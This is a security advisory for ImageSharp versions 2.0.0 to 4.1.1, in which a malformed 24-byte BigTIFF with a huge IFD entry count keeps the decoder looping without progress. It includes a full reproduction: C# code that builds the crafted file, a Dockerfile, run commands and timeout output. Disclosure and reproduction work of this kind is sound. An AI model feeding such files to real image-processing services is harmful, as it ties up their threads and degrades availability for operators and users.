ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build wmxv.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"] ``` Run: ```sh docker build -t imagesharp-wmxv-poc . timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000 docker run --rm imagesharp-wmxv-poc 1 ```

Source published

7 Oct 2026 20:24:32 UTC

Source modified

7 Oct 2026 20:30:06 UTC

Observed here

23 Oct 2026 16:01:25 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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